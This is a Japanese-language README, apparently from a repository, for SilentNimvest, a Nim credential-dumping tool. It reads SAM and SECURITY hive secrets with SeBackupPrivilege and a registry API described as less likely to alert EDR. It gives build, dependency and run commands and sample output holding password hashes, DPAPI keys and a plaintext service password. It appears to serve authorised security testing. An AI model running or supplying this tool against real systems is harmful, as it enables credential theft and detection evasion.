frkngksl/silentnimvestsud0RuのSAM/SECURITYハイブ方式による資格情報ダンピング（別名 SilentHarvest）のNim実装
基本的に、SilentNimvest は Nim で書かれた SAM および Security Hives パーサーです。SilentNimvest は、Silent Harvest テクニックを使用してこれらのハイブのキーを読み取ります。このテクニックにより、SYSTEM レベルの特権ではなく、SeBackupPrivilege（NtOpenKeyEx フラグのおかげ）を有効にした通常の Administrator アカウントが、ローカルユーザーのハッシュ、キャッシュされたドメインログオン情報、LSA シークレット、およびこれらのハイブから取得できるその他のシークレットを、EDR への警告が少ないレジストリ読み取り API である RegQueryMultipleValuesW を使用してダンプできます。
このプロジェクト全体は sud0ruの研究 に基づいています。
以下のコマンドでソースコードを直接コンパイルできます。
nim c -d:release -o:SilentNimvest.exe Main.nim
「cannot open file」エラーが発生した場合は、必要な依存関係もインストールしてください：
nimble install winim nimcrypto checksums des
SilentNimvest は、昇格された管理者ターミナルから、必要なパラメータなしで直接実行できます。
PS C:\Users\test\Desktop\SilentNimvest> .\SilentNimvest.exe
__ _ _ _ __ _ _
/ _(_) | ___ _ __ | |_ /\ \ (_)_ _____ _____ ___| |_
\ \| | |/ _ \ '_ \| __|/ \/ / | '_ ` _ \ \ / / _ \/ __| __|
_\ \ | | __/ | | | |_/ /\ /| | | | | | \ V / __/\__ \ |_
\__/_|_|\___|_| |_|\__\_\ \/ |_|_| |_| |_|\_/ \___||___/\__|
@R0h1rr1m
[!] Trying to parse SAM Related Credentials (Local Users)
[*] Local User RID: 500 - Administrator - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 501 - Guest - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 503 - DefaultAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 504 - WDAGUtilityAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 1001 - zoro - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[!] Trying to parse Security Related Credentials (Cached Domain Logon Info, Machine Account and LSA Secrets)
[*] DPAPI Keys: dpapi_machinekey: ea31d6cfe0d16ae931b73c59d7e0c089c037b & dpapi_userkey: 44431d6cfe0d16ae931b73c59d7e0c089c0d0
[*] NL$KM: 1f31d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c0c01
[*] Plaintext User from _SC_Backupservice: .\zoro:SilentNimvest
許可されたセキュリティテストのみを対象としています。明示的な許可なしにシステムに対してこのツールを誤用することは違法です。